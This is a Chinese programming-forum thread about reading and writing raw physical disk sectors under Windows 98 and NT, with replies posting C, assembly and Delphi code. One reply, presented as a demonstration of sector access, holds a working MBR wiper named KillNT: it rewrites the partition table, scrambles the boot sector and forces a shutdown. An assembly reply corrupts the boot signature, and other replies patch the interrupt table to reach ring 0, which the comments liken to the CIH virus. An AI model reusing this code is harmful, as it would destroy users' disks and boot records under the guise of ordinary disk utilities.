重金(300分)。。。请问怎样在98下读写绝对物理硬盘的扇区,别告诉我读什么C盘D盘的,而是物理第一硬盘或物理第二硬盘(300分)

  • 主题发起人 主题发起人 shuaihu
  • 开始时间 开始时间
S

shuaihu

Unregistered / Unconfirmed
GUEST, unregistred user!
请问如何读物理硬盘的物理扇区(注意:是物理硬盘而不是他的一个分区,这一点非常重要
因为在大写翁里的那些方法都是读逻辑扇区,而不是物理扇区)急急急。。。
1 要求操作系统为98,NT下已经解决。
2 要求不用另写VXD驱动。
 
这里有一段是C语言的:
//THE PROGRAM IS TO DISPLAY YOUR HARDDISK'S MESSAGE
//FILE HARDDISK.CPP

#include <dos.h>
#include <stdio.h>
#include <conio.h>
#include <ctype.h>
#include <string.h>
#include <process.h>

int main(void)
{
struct dfree DISKMESSAGE;
long DISK_SECTOR,DISK_CLUSTER,DISK_TOTAL,DISK_AVAIL;
int DISKNUM;
char DISK;

clrscr();
printf("/n ********** WELCOME TO USE THIS SYSTEM **********/n");
printf("/n ----- IT HELPS YOU KONW YOUR HARDDISK -----/n/n");
do
{
printf("/nINPUT YOUR DRIVER(A B C D E F... ...):");
scanf("%c",&DISK);
}while((DISK<'A')||((DISK>'Z')&&(DISK<'a'))||DISK>'z');
if((DISK>'A')&&(DISK<'Z'))
DISKNUM=DISK-'A'+1;
if((DISK>'a')&&(DISK<'z'))
DISKNUM=DISK-'a'+1;
getdfree(DISKNUM,&DISKMESSAGE);

if (DISKMESSAGE.df_sclus==(unsigned)-1)
{
printf("***** ERROR : CAN NOT GET INFORMATION FROM YOUR DISK %c:/n"
,DISK);
exit(1);
}
DISK_SECTOR=DISKMESSAGE.df_bsec;
DISK_CLUSTER=DISKMESSAGE.df_sclus*DISK_SECTOR;
DISK_AVAIL=DISKMESSAGE.df_avail*DISK_CLUSTER;
DISK_TOTAL=DISKMESSAGE.df_total*DISK_CLUSTER;

if (DISKNUM!=0)
printf("***** HARDDISK INFORMATION %c :/n",'A'+DISKNUM-1);
else
printf("***** HARDDISK INFORMATION (DEFAULT) : AS FOLLOWING/n");
printf("/n----- TOTAL HARDDIRSK SPACE = %ld BYTES/n",DISK_TOTAL);
printf("/n***** AVAILABEL SPACE = %ld BYTES/n",DISK_AVAIL);
printf("/n----- BYTES (EVERY SECTOR) = %ld BYTES/n",DISK_SECTOR);
printf("/n***** BYTES (EVERY CLUSTER) = %ld BYTES/n",DISK_CLUSTER);
printf("/n/n/n *********** Thank you! ***********/n");
printf("/n ----------- <2001.01.01> -----------/n");
getch();
return 0;
}
 
上面的代码根本行不通
 
如果谁能解决,本人原再出500分。
 
這是我以前寫的代碼不知能不能滿足你要求…
如果不能你可以去找一下漚編的書,在WIN9X絕對沒有問題………我看過…
能不能請教WINNT下怎麼實現?

data segment
d db 800 dup(0)
a db 'yours disk ends!$'
b db 'yours disk ok!$'
c db 'sorry!$'
data ends
code segment
assume cs:code,es:data,ds:data
org 100h
start:
mov ax,data
mov es,ax
mov ds,ax
mov ax,0201h
mov bx,offset d
mov cx,0001h
mov dx,0180h
int 13h
cmp ah,0
jnz k
mov si,01feh
mov bp,0aa55h
xor es:[si],bp
mov ax,0301h
mov bx,offset d
mov cx,0001h
mov dx,0180h
int 13h
k:
mov dx,offset c
cmp ah,0
jnz kkk
cmp es:[si],bp
jz kk
mov dx,offset a
jmp kkk
kk:
mov dx,offset b
kkk:
mov ah,09h
int 21h
mov ax,4c00h
int 21h
CODE ENDS
END START

 
Win9X可以进入ring0,估计不难吧。
 
http://www.5xsoft.com/data/200105/1712231701.htm
编程方面我记得有个老外公布了源程序,等我回家以后在公布吧!~!
 
以下也许对你暂时有点用哟!

请研究如下的源代码,本人在一个系统中修改在VC++编译成dll文件在delphi中调用,
有时会死机。

;* Windows 95加密软件核心模块之一--磁盘扇区大小修改程序以及V86 内存分 *
;* 配与释放函数。 *
;****************************************************************************

.386p

.model flat,stdcall

;修改的中断号,如果本中断号改成3则可以防止Soft-ICE跟踪!

HookExceptionNo EQU 05h

;****************************************************************************
;* cb_s结构说明(VMM.INC文件中有) *
;* *
;* cb_s struc *
;* CB_VM_Status dd ? ; VM status; see below *
;* CB_High_Linear dd ? ; base linear address; see below *
;* CB_Client_Pointer dd ? ; see below *
;* CB_VMID dd ? ; virtual machine ID *
;* CB_Signature dd ? ; see below *
;* cb_s ends *
;****************************************************************************

.data
IDTR_1 db 6 dup(0) ;保存中断描述符表寄存器
OldExceptionHook dd 0 ;保存原先的中断入口地址

.code

;修改扇区大小过程

;VC原型:void _stdcall ChangeSectorSize(BYTE SectorSize);

ChangeSectorSize PROC SectorSize:BYTE
push eax
;获取修改的中断的中断描述符(中断门)地址
sidt IDTR_1
mov eax,dword ptr IDTR_1+02h
add eax,HookExceptionNo*08h+04h
cli
;保存原先的中断入口地址
push ecx
mov ecx,dword ptr [eax]
mov cx,word ptr [eax-04h]
mov dword ptr OldExceptionHook,ecx
pop ecx
;设置修改的中断入口地址为新的中断处理程序1 入口地址
push ebx
lea ebx,NewExceptionHook1
mov word ptr [eax-04h],bx
shr ebx,10h
mov word ptr [eax+02h],bx
pop ebx
;执行中断,转到Ring 0(与CIH 病毒原理相似!)
push ebx
mov bl,byte ptr SectorSize ;扇区大小保存在bl寄存器中
int HookExceptionNo
pop ebx
;恢复原先的中断入口地址
push ecx
mov ecx,dword ptr OldExceptionHook
mov word ptr [eax-04h],cx
shr ecx,10h
mov word ptr [eax+02h],cx
pop ecx
;修改扇区大小过程结束
sti
pop eax
ret
ChangeSectorSize ENDP

;分配V86内存过程

;VC原型:DWORD _stdcall V86AllocBuffer(DWORD FarPtrMem,BYTE SectorSize);

V86AllocateBuffer PROC FarPtrMem:DWORD,SectorSize:BYTE
push edi
;获取修改的中断的中断描述符(中断门)地址
sidt IDTR_1
mov eax,dword ptr IDTR_1+02h
add eax,HookExceptionNo*08h+04h
cli
;保存原先的中断入口地址
push ecx
mov ecx,dword ptr [eax]
mov cx,word ptr [eax-04h]
mov dword ptr OldExceptionHook,ecx
pop ecx
;设置修改的中断入口地址为新的中断处理程序2 入口地址
push ebx
lea ebx,NewExceptionHook2
mov word ptr [eax-04h],bx
shr ebx,10h
mov word ptr [eax+02h],bx
pop ebx
;执行中断,转到Ring 0(与CIH 病毒原理相似!)
push edx
push esi
push fs
mov dx,ds
mov fs,dx
mov esi,dword ptr FarPtrMem ;内存指针保存在fs:esi寄存器中
mov dl,byte ptr SectorSize ;扇区大小保存在dl寄存器中
int HookExceptionNo
pop fs
pop esi
pop edx
;恢复原先的中断入口地址
push ecx
mov ecx,dword ptr OldExceptionHook
mov word ptr [eax-04h],cx
shr ecx,10h
mov word ptr [eax+02h],cx
pop ecx
;分配V86内存过程结束
sti
mov eax,edi
pop edi
ret
V86AllocateBuffer ENDP

;释放V86内存过程

;VC原型:void _stdcall V86FreeBuffer(DWORD FarPtrMem,BYTE SectorSize);

V86FreeBuffer PROC FarPtrMem:DWORD,SectorSize:BYTE
push eax
;获取修改的中断的中断描述符(中断门)地址
sidt IDTR_1
mov eax,dword ptr IDTR_1+02h
add eax,HookExceptionNo*08h+04h
cli
;保存原先的中断入口地址
push ecx
mov ecx,dword ptr [eax]
mov cx,word ptr [eax-04h]
mov dword ptr OldExceptionHook,ecx
pop ecx
;设置修改的中断入口地址为新的中断处理程序3 入口地址
push ebx
lea ebx,NewExceptionHook3
mov word ptr [eax-04h],bx
shr ebx,10h
mov word ptr [eax+02h],bx
pop ebx
;执行中断,转到Ring 0(与CIH 病毒原理相似!)
push edx
push esi
push fs
mov dx,ds
mov fs,dx
mov esi,dword ptr FarPtrMem ;内存指针保存在fs:esi寄存器中
mov dl,byte ptr SectorSize ;扇区大小保存在dl寄存器中
int HookExceptionNo
pop fs
pop esi
pop edx
;恢复原先的中断入口地址
push ecx
mov ecx,dword ptr OldExceptionHook
mov word ptr [eax-04h],cx
shr ecx,10h
mov word ptr [eax+02h],cx
pop ecx
;释放V86内存过程结束
sti
pop eax
ret
V86FreeBuffer ENDP

;新的中断处理程序1

NewExceptionHook1 PROC
push eax
push ebx
push ecx
push edx
push esi
;修改扇区大小
push dword ptr 00000000h ;必须为0
push dword ptr 00000001h ;字节数
push dword ptr 00000525h ;物理地址0000:0525
int 20h
dd 0001006ch ;以上两条指令相当于 VMMCall _MapPhysToLinear
pop esi
pop esi
pop esi
mov byte ptr [eax],bl ;修改扇区大小
;中断处理程序结束
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
NewExceptionHook1 ENDP

;新的中断处理程序2

NewExceptionHook2 PROC
push eax
push ebx
push ecx
push ebp
;获取当前VM句柄
int 20h
dd 00010001h ;以上两条指令相当于 VMMCall Get_Cur_VM_Handle
;获取Client_Reg_Struc结构地址
mov ebp,dword ptr [ebx+08h]
;分配V86内存
movzx eax,dl
xor ecx,ecx
bts ecx,eax
shl ecx,7
mov eax,ecx
stc
int 20h
dd 00060008h ;以上两条指令相当于 VxDCall V86MMGR_Allocate_Buffer
jc Error_Handler1
cmp eax,ecx
jnz Error_Handler2
jmp ExceptionHook_End1
Error_Handler1:
;V86内存分配错误处理1(分配失败)
xor edi,edi
jmp ExceptionHook_End1
Error_Handler2:
;V86内存分配错误处理2(内存不够)
clc
int 20h
dd 00060009h ;以上两条指令相当于 VxDCall V86MMGR_Free_Buffer
xor edi,edi
ExceptionHook_End1:
;中断处理程序结束
pop ebp
pop ecx
pop ebx
pop eax
iretd
NewExceptionHook2 ENDP

;新的中断处理程序3

NewExceptionHook3 PROC
push eax
push ebx
push ecx
push ebp
;获取当前VM句柄
int 20h
dd 00010001h ;以上两条指令相当于 VMMCall Get_Cur_VM_Handle
;获取Client_Reg_Struc结构地址
mov ebp,dword ptr [ebx+08h]
;释放V86内存
movzx eax,dl
xor ecx,ecx
bts ecx,eax
shl ecx,7
stc
int 20h
dd 00060009h ;以上两条指令相当于 VxDCall V86MMGR_Free_Buffer
;中断处理程序结束
pop ebp
pop ecx
pop ebx
pop eax
iretd
NewExceptionHook3 ENDP

end

//获取KERNEL32.DLL引出函数指针(防止Microsoft Anti-Hacking代码)

#include <windows.h>
#include "getk32pa.h"

typedef struct {
DWORD Signature;
//IMAGE_FILE_HEADER FileHeader;
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
//IMAGE_OPTIONAL_HEADER OptionalHeader;
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
//IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
DWORD EXPORT_VirtualAddress;
DWORD EXPORT_Size;
DWORD IMPORT_VirtualAddress;
DWORD IMPORT_Size;
DWORD RESORC_VirtualAddress;
DWORD RESORC_Size;
DWORD EXCEPT_VirtualAddress;
DWORD EXCEPT_Size;
DWORD SECURT_VirtualAddress;
DWORD SECURT_Size;
} PE;

FARPROC GetKernel32ProcAddress(DWORD OrdValue)
{
DWORD hModule;
PE *Hdr;
IMAGE_EXPORT_DIRECTORY *Exp;
PDWORD AddrFunc;
hModule=(DWORD)GetModuleHandle("KERNEL32");
Hdr=(PE *)(hModule+(*(PWORD)(hModule+0x3c)));
if(*(PDWORD)(Hdr)!=0x4550) return NULL;
Exp=(IMAGE_EXPORT_DIRECTORY *)(hModule+Hdr->EXPORT_VirtualAddress);
AddrFunc=(PDWORD)(hModule+(DWORD)Exp->AddressOfFunctions);
OrdValue--;
if(OrdValue<Exp->NumberOfFunctions)
return (FARPROC)(hModule+AddrFunc[OrdValue]);
else
return NULL;
}

//获取KERNEL32.DLL引出函数指针(防止Microsoft Anti-Hacking代码)

#ifdef __cplusplus

extern "C"
{
FARPROC GetKernel32ProcAddress(DWORD OrdValue);
}

#else

FARPROC GetKernel32ProcAddress(DWORD OrdValue);

#endif

/**********************************************************/
/* Windows 95加密软件核心模块之二——密钥判读程序 */
/**********************************************************/

#include <windows.h>
#include "w95enc.h"
#include "getk32pa.h"

//W95ENC.ASM汇编模块过程在VC中的函数原型

void _stdcall ChangeSectorSize(BYTE SectorSize);
DWORD _stdcall V86AllocateBuffer(DWORD FarPtrMem,BYTE SectorSize);
void _stdcall V86FreeBuffer(DWORD FarPtrMem,BYTE SectorSize);

static FARPROC VxDCall;

//实模式寄存器结构

typedef struct {
DWORD Reg_EDI;
DWORD Reg_ESI;
DWORD Reg_EBP;
DWORD Reserve;
DWORD Reg_EBX;
DWORD Reg_EDX;
DWORD Reg_ECX;
DWORD Reg_EAX;
WORD Reg_Flags;
WORD Reg_ES;
WORD Reg_DS;
WORD Reg_FS;
WORD Reg_GS;
WORD Reg_IP;
WORD Reg_CS;
WORD Reg_SP;
WORD Reg_SS;
} REAL_MODE_REGS;

DWORD Win95DiskEncryption(BYTE Head,BYTE Track,BYTE Sector,BYTE SectorSize,void *Buffer)
{
REAL_MODE_REGS Reg1;
DWORD V86Ptr1;
DWORD RegPtr1;
int BufSize;
int Sch1,Sch2;
//获取未公开API函数VxDCall的入口地址
if(!(VxDCall=GetKernel32ProcAddress(1))) return 0;
//缓冲区初始化
BufSize=(1<<(7+SectorSize));
for(Sch1=0;Sch1<BufSize;Sch1++) *((BYTE *)Buffer+Sch1)=0;
//分配V86 内存
if(!(V86Ptr1=V86AllocateBuffer((DWORD)Buffer,SectorSize))) return 0;
for(Sch2=0;Sch2<3;Sch2++)
{
Reg1.Reg_EAX=0x0201;
Reg1.Reg_EBX=(DWORD)LOWORD(V86Ptr1);
Reg1.Reg_ECX=(DWORD)MAKEWORD(Sector,Track);
Reg1.Reg_EDX=(DWORD)MAKEWORD(0,Head);
Reg1.Reg_ES=HIWORD(V86Ptr1);
RegPtr1=(DWORD)&Reg1;
//修改加密扇区大小
ChangeSectorSize(SectorSize);
_asm
{
mov bx,0013h
mov edi,RegPtr1
}
//调用DPMI功能,模拟INT 13H。
VxDCall(0x002a0029,0x0300,0);
//恢复加密扇区大小
ChangeSectorSize(2);
}
//释放V86 内存
V86FreeBuffer((DWORD)Buffer,SectorSize);
//返回EAX 寄存器的值
return Reg1.Reg_EAX;
}

#ifdef __cplusplus

extern "C"
{
DWORD Win95DiskEncryption(BYTE Head,BYTE Track,BYTE Sector,BYTE SectorSize,void *Buffer);
}

#else

DWORD Win95DiskEncryption(BYTE Head,BYTE Track,BYTE Sector,BYTE SectorSize,void *Buffer);

#endif

//Windows 95加密软件测试程序

#include <windows.h>
#include "tchar.h"
#include "w95enc.h"

static TCHAR szAppName[]=_T("ENTEST");

LRESULT CALLBACK WndProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);
BOOL DiskEncryptionTest(void); //加密磁盘测试函数

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
HWND hWnd;
WNDCLASSEX wcex;
MSG Msg;
//本程序不能在Windows NT中运行
if(GetVersion()<0x80000000)
{
MessageBox(NULL,_T("本程序不能在Windows NT中运行!"),_T("Windows 95加密软件测试程序"),MB_ICONINFORMATION|MB_OK);
return FALSE;
}
//加密磁盘测试
if(!DiskEncryptionTest())
{
MessageBox(NULL,_T("非法拷贝!程序不能运行!"),_T("Windows 95加密软件测试程序"),MB_ICONINFORMATION|MB_OK);
return FALSE;
}
if(!hPrevInstance)
{
wcex.cbSize=sizeof(WNDCLASSEX);
wcex.style=CS_HREDRAW|CS_VREDRAW;
wcex.lpfnWndProc=WndProc;
wcex.cbClsExtra=0;
wcex.cbWndExtra=0;
wcex.hInstance=hInstance;
wcex.hIcon=LoadIcon(hInstance,IDI_APPLICATION);
wcex.hCursor=LoadCursor(NULL,IDC_ARROW);
wcex.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName=NULL;
wcex.lpszClassName=szAppName;
wcex.hIconSm=LoadIcon(hInstance,IDI_APPLICATION);
if(!RegisterClassEx(&wcex)) return FALSE;
}
hWnd=CreateWindow(szAppName,_T("Windows 95加密软件测试程序"),WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
0,0,hInstance,NULL);
if(!hWnd) return FALSE;
ShowWindow(hWnd,nCmdShow);
UpdateWindow(hWnd);
while(GetMessage(&Msg,0,0,0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)
{
HDC hDC;
PAINTSTRUCT ps;
switch(Message)
{
case WM_PAINT:
hDC=BeginPaint(hWnd,&ps);
EndPaint(hWnd,&ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd,Message,wParam,lParam);
}
return 0;
}

BOOL DiskEncryptionTest(void)
{
//该函数中有部分注释掉的调试程序
BYTE KeyData[1024];
DWORD Result1;
int Sch1;
int KeySum;
//TCHAR szBuf1[256],szBuf2[256];
//读取0面79磁道18扇区,扇区大小为3(1024字节)
Result1=Win95DiskEncryption(0,79,18,3,KeyData);
//wsprintf(szBuf1,"EAX=%xH",Result1);
//MessageBox(NULL,szBuf1,_T("Windows 95加密软件测试程序"),MB_ICONINFORMATION|MB_OK);
//计算密钥数据校验和
KeySum=0;
for(Sch1=0;Sch1<1024;Sch1++) KeySum=KeySum+KeyData[Sch1];
//wsprintf(szBuf2,"Key data SUM=%d",KeySum);
//MessageBox(NULL,szBuf2,_T("Windows 95加密软件测试程序"),MB_ICONINFORMATION|MB_OK);
//该校验和值与加密磁盘有关,27152是全国计算机等级考试练习盘的校验和。
if(KeySum==27152) return TRUE; else return FALSE;
}
 
转2)

来自:王寒松, 时间:2002-4-3 12:26:00, ID:1020412
我的论坛里的一篇帖子。 C 写的。 演示如何在NT/2000下直接读取硬盘扇区
http://www.bj99.net/bbs/dispbbs.asp?boardID=16&RootID=63&ID=63&page=1

//演示如何在Windows NT/2000下对硬盘物理扇区读写
#include <windows.h>
#include <winioctl.h>
//---------------------------------------------------------------------------
void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;

ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);

NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}


void WINAPI KillNT()
{

HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i;

char *drive = "0";
wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);

if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
}

bytes = 512;

bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);

if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}


*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3; i < 510; i++ )
{
*(szBuff + i) ^= 0x926;
}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

CloseHandle(hDevice);

wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);

if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);

bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);

if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}


DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);

CloseHandle(hDevice);

ExitWin();

}


void WINAPI OSVer()
{

OSVERSIONINFO osi;

osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if (GetVersionEx(&osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}

}


WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{

OSVer();
return 0;
}


作者 sinister@whitecell.org





 
致王寒松,在NT/2000/xp下读硬盘扇区很简单,我也有代码,并且比你的还要简单,但是
在95/98下就难多了,不知你有没有好的方案。
 
在NT/2000/xp下读硬盘扇区的源代码能不能贴出来?
 
我这个可以在98下读写物理扇区。利用的是ring0技术。
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

const
IOR_READ=0;
IOR_WRITE=1;
IORF_PHYS_CMD=$40000000;
IORF_VERSION_002=$400;
IORF_SYNC_COMMAND=$100;
IORF_HIGH_PRIORITY=1;
type
Ttype_sdeffsd_req_usage = packed record
_IOR_ioctl_drive:word;
_IOR_ioctl_function:word;
_IOR_ioctl_control_param:longword;
_IOR_ioctl_buffer_ptr:longword;
_IOR_ioctl_client_params:longword;
_IOR_ioctl_return:longword;
end;
Turequestor_usage = packed record
case integer of
1:(
_IOR_requestor_usage:array[0..4]of longword;);
2:(
sdeffsd_req_usage:Ttype_sdeffsd_req_usage;);
end;
TIOR=packed record
IOR_next:longword;{ 为BCB的(MBZ for IORF_VERSION_002) 的客户链接 }
IOR_func:word;{子功能号}
IOR_status:word;{请求的状态}
IOR_flags:longword;{请求控制标志}
IOR_callback:procedure;{如果IORF_SYNC_COMMAND未设置,则为回调函数地址}
IOR_start_addr:array[0..1]of longword;{相对开始地址}
IOR_xfer_count:longword;{处理的扇区数}
IOR_buffer_ptr:longword;{客户缓冲区指针}
IOR_private_client:longword;{ BlockDev/IOS客户保留}
IOR_private_IOS:longword;{IOS保留空间}
IOR_private_port:longword;{端口驱动的私有区域}
_ureq:Turequestor_usage;
IOR_req_req_handle:longword;{请求句柄}
IOR_req_vol_handle:longword;{媒体句柄,指向VRP结构}
IOR_sgd_lin_phys:longword;{指向第一个物理SGD }
IOR_num_sgds:byte;{物理SGD的数目}
IOR_vol_designtr:byte;{视子功能号的不同,可能是以下两种情况:(1)A盘为0,B盘为1,C盘为2……(2)软盘是0-7F,硬盘是80-FF}
IOR_ios_private_1:word;{由IOS保留强制对齐}
IOR_reserved_2:array[0..1]of longword; {保留,内部使用}
end;
PIOR=^TIOR;
TRing0DiskRW = record
ReadOrNot:boolean;
Drv:byte;
StartSecLo,StartSecHi:longword;
DiskBuffer:pchar;
result:boolean;
end;
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
IDT : array [0..5] of byte;
lpOldGate : dword;
Ring0DiskRW:TRing0DiskRW;

implementation

{$R *.DFM}
procedure Ring0ReadWriteDisk;stdcall;
procedure SendCommand; stdcall;
var
IOR:PIOR;
iorBuffer:array[0..$fc-1]of char; //$fc=$ac+$58 sizeof(IOR)=$58
buffer:array[0..512-1]of char;
begin
fillchar(iorbuffer[0],sizeof(iorBuffer),0);
ior:=PIOR(@iorBuffer[$ac]);
ior^.IOR_vol_designtr := Ring0DiskRW.Drv;
if Ring0DiskRW.ReadOrNot then
ior^.IOR_func := IOR_READ
else begin
ior^.IOR_func := IOR_WRITE;
move(Ring0DiskRW.Diskbuffer[0],buffer[0],512);
end;
ior^.IOR_flags := IORF_PHYS_CMD or IORF_VERSION_002 or IORF_SYNC_COMMAND or IORF_HIGH_PRIORITY;
ior^.IOR_buffer_ptr := longword(@buffer);
ior^.IOR_xfer_count := 1;
ior^.IOR_start_addr[0] := Ring0DiskRW.StartSecLo;
ior^.IOR_start_addr[1] := Ring0DiskRW.StartSecHi;
ior^.IOR_next := 1;
asm
push es
push ds
pushad
mov esi,ior
mov ax,ss
mov es,ax
mov ds,ax
int 20h
dd 00100004h // IOS_SendCommand(ior,NULL);
popad
pop ds
pop es
end;
Ring0DiskRW.result:=(ior^.IOR_status=0);
if Ring0DiskRW.result and Ring0DiskRW.ReadOrNot then
move(buffer[0],Ring0DiskRW.Diskbuffer[0],512);
end;

procedure Ring0ToRun; stdcall;
const ExceptionUsed = $03; // 中断号
begin
asm
sidt IDT {读入中断描述符表}
mov ebx, dword ptr [IDT+2]
add ebx, 8*ExceptionUsed {计算中断在中断描述符表中的位置}
cli {关中断}
mov dx, word ptr [ebx+6]
shl edx, 16d {左移166位}
mov dx, word ptr [ebx]
mov [lpOldGate], edx {保存旧的中断门}
mov eax, offset @@Ring0Code{修改向量,指向Ring0级代码段}
mov word ptr [ebx], ax
shr eax, 16d
mov word ptr [ebx+6], ax
int ExceptionUsed { 发生中断}
mov ebx, dword ptr [IDT+2] {重新定位到中断描述符表中}
add ebx, 8*ExceptionUsed
mov edx, [lpOldGate]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx {恢复被改了的向量}
ret
@@Ring0Code: {Ring0级代码段}
push es
push ds
pushad
call SendCommand
popad
pop ds
pop es
iretd {中断返回}
end;
end;
begin
Ring0DiskRW.result:=false;
Ring0ToRun;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
buf:array[0..512-1]of char;
s:string;
i:integer;
begin
Ring0DiskRW.Drv:=$80;
Ring0DiskRW.ReadOrNot:=true; //读
Ring0DiskRW.StartSecLo:=0;
Ring0DiskRW.StartSecHi:=0;
Ring0DiskRW.DiskBuffer:=@buf;
Ring0ReadWriteDisk;
if not Ring0DiskRW.result then raise exception.create('读出错');

s:='';
for i:=0 to 512-1 do
begin
s:=s+format('%.2X ',[integer(Ring0DiskRW.Diskbuffer)]);
if i mod 16=15 then s:=s+#13;
end;
showmessage(s);

Ring0DiskRW.Drv:=$80;
Ring0DiskRW.ReadOrNot:=false; //写
Ring0DiskRW.StartSecLo:=0;
Ring0DiskRW.StartSecHi:=0;
Ring0DiskRW.DiskBuffer:=@buf;
Ring0ReadWriteDisk;
if not Ring0DiskRW.result then raise exception.create('写出错');
end;

end.
 
一点都不懂~~~~~~~~
 
值得一看!
 

Similar threads

I
回复
0
查看
729
import
I
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部